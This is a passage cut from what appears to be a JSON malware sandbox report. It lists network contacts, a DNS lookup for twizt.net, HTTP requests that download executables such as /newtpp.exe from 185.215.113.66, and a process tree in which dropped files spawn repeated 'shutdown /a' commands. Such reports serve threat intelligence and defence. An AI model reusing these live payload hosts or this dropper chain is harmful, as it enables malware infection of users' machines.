Of)","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"188.209.254.110","port":40500,"protocol":"UDP","country":"Yemen","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"100.105.203.38","port":40500,"protocol":"UDP","country":"Reserved","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"100.84.20.81","port":40500,"protocol":"UDP","country":"Reserved","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"91.202.233.141","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"178.89.6.139","port":40500,"protocol":"UDP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"187.133.36.104","port":40500,"protocol":"UDP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"37.254.26.59","port":40500,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"187.235.186.245","port":40500,"protocol":"UDP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"193.233.132.177","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"95.67.242.184","port":40500,"protocol":"UDP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"212.154.184.138","port":40500,"protocol":"UDP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"5.232.118.82","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"94.141.249.222","port":40500,"protocol":"UDP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"80.241.43.110","port":40500,"protocol":"TCP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"82.194.11.2","port":40500,"protocol":"UDP","country":"Azerbaijan","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"77.34.125.178","port":40500,"protocol":"UDP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"2.188.244.95","port":40500,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"5.63.93.62","port":40500,"protocol":"UDP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"178.155.46.158","port":40500,"protocol":"UDP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"89.236.217.71","port":40500,"protocol":"UDP","country":"Uzbekistan","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"5.190.252.20","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"151.233.132.15","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"151.239.89.228","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"93.180.127.191","port":40500,"protocol":"TCP","country":"Bosnia and Herzegowina","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"37.255.208.54","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"5.235.4.25","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"201.143.23.222","port":40500,"protocol":"UDP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"2.176.26.141","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"188.209.241.78","port":40500,"protocol":"UDP","country":"Yemen","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"189.158.148.85","port":40500,"protocol":"TCP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"190.72.207.192","port":40500,"protocol":"UDP","country":"Venezuela","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"213.230.121.81","port":40500,"protocol":"UDP","country":"Uzbekistan","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"217.30.162.37","port":40500,"protocol":"UDP","country":"Uzbekistan","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"134.35.74.170","port":40500,"protocol":"UDP","country":"Yemen","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"188.211.205.77","port":40500,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"dns_resolutions":[{"domain":"twizt.net","address":"185.215.113.66","ttl":300,"country":"Portugal","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.DYNU.COM","registrar_creation_date":"2023-03-02T20:22:23+00:00","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"http_requests":[{"host":"twizt.net","host_ip":"185.215.113.66:80","url":"/newtpp.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /newtpp.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\nHost: twizt.net","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"twizt.net","host_ip":"185.215.113.66:80","url":"/peinstall.php","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /peinstall.php HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\nHost: twizt.net","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /1 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/2","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /2 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/3","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /3 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/_1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /_1 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/4","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /4 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/_2","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /_2 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/5","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /5 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/_3","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /_3 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"185.215.113.66","host_ip":"185.215.113.66:80","url":"/6","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /6 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\nHost: 185.215.113.66","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"host":"twizt.net","host_ip":"185.215.113.66:80","url":"/STATSONLINEBRO","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /STATSONLINEBRO HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\nHost: twizt.net","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}],"processes":[{"pid":3504,"ppid":0,"name":"npp.exe","command_line":"","sha256":"5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3","normalized_path":"C:\\npp.exe","uid":"00000000-00003504","icon":"$72"},{"pid":3256,"ppid":3504,"name":"1687123150.exe","command_line":"","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","normalized_path":"%TEMP%\\1687123150.exe","parent_uid":"00000000-00003504","uid":"00000000-00003256"},{"pid":3532,"ppid":3256,"name":"237145208.exe","command_line":"","sha256":"19ee79b7852c54de5883404f049f9e85cb0085bae8132ada3e46d6f75b24b100","normalized_path":"%TEMP%\\237145208.exe","parent_uid":"00000000-00003256","uid":"00000000-00003532"},{"pid":4572,"ppid":3256,"name":"2692612378.exe","command_line":"","sha256":"fb11b4e2d26812e26ea7428f3b0b9bb8a16814188250fa60697c7aec40a49bd0","normalized_path":"%TEMP%\\2692612378.exe","parent_uid":"00000000-00003256","uid":"00000000-00004572"},{"pid":3432,"ppid":4572,"name":"3897418907.exe","command_line":"","sha256":"3775c7888a3571a039b1415779a915e6dc806eaf0459eb551cbfb9b78c68f9f6","normalized_path":"%TEMP%\\3897418907.exe","parent_uid":"00000000-00004572","uid":"00000000-00003432"},{"pid":2292,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002292"},{"pid":2692,"ppid":2292,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002292","uid":"00000000-00002692"},{"pid":2144,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002144"},{"pid":1168,"ppid":2144,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002144","uid":"00000000-00001168"},{"pid":2936,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002936"},{"pid":5024,"ppid":2936,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002936","uid":"00000000-00005024"},{"pid":3968,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003968"},{"pid":4996,"ppid":3968,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003968","uid":"00000000-00004996"},{"pid":3092,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003092"},{"pid":3764,"ppid":3092,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003092","uid":"00000000-00003764"},{"pid":3632,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003632"},{"pid":3600,"ppid":3632,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003632","uid":"00000000-00003600"},{"pid":3536,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003536"},{"pid":2288,"ppid":3536,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003536","uid":"00000000-00002288"},{"pid":4476,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00004476"},{"pid":3700,"ppid":4476,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00004476","uid":"00000000-00003700"},{"pid":3496,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003496"},{"pid":3388,"ppid":3496,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003496","uid":"00000000-00003388"},{"pid":3636,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003636"},{"pid":2456,"ppid":3636,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003636","uid":"00000000-00002456"},{"pid":2920,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002920"},{"pid":4120,"ppid":2920,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002920","uid":"00000000-00004120"},{"pid":3196,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003196"},{"pid":5108,"ppid":3196,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003196","uid":"00000000-00005108"},{"pid":3880,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003880"},{"pid":1060,"ppid":3880,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003880","uid":"00000000-00001060"},{"pid":3684,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003684"},{"pid":2860,"ppid":3684,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003684","uid":"00000000-00002860"},{"pid":3568,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003568"},{"pid":2552,"ppid":3568,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003568","uid":"00000000-00002552"},{"pid":4728,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00004728"},{"pid":4016,"ppid":4728,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00004728","uid":"00000000-00004016"},{"pid":2708,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002708"},{"pid":4612,"ppid":2708,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002708","uid":"00000000-00004612"},{"pid":2928,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002928"},{"pid":4236,"ppid":2928,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002928","uid":"00000000-00004236"},{"pid":3120,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003120"},{"pid":4412,"ppid":3120,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003120","uid":"00000000-00004412"},{"pid":2400,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002400"},{"pid":2888,"ppid":2400,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002400","uid":"00000000-00002888"},{"pid":3112,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003112"},{"pid":4756,"ppid":3112,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003112","uid":"00000000-00004756"},{"pid":3060,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003060"},{"pid":2880,"ppid":3060,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003060","uid":"00000000-00002880"},{"pid":2224,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00002224"},{"pid":2160,"ppid":2224,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00002224","uid":"00000000-00002160"},{"pid":4232,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00004232"},{"pid":3720,"ppid":4232,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00004232","uid":"00000000-00003720"},{"pid":352,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00000352"},{"pid":1276,"ppid":352,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00000352","uid":"00000000-00001276"},{"pid":3272,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00003272"},{"pid":4876,"ppid":3272,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00003272","uid":"00000000-00004876"},{"pid":4484,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00004484"},{"pid":3016,"ppid":4484,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00004484","uid":"00000000-00003016"},{"pid":1596,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown /a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00001596"},{"pid":1236,"ppid":1596,"name":"shutdown.exe","command_line":"shutdown /a","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00001596","uid":"00000000-00001236"},{"pid":5088,"ppid":3432,"name":"cmd.exe","command_line":"/c shutdown 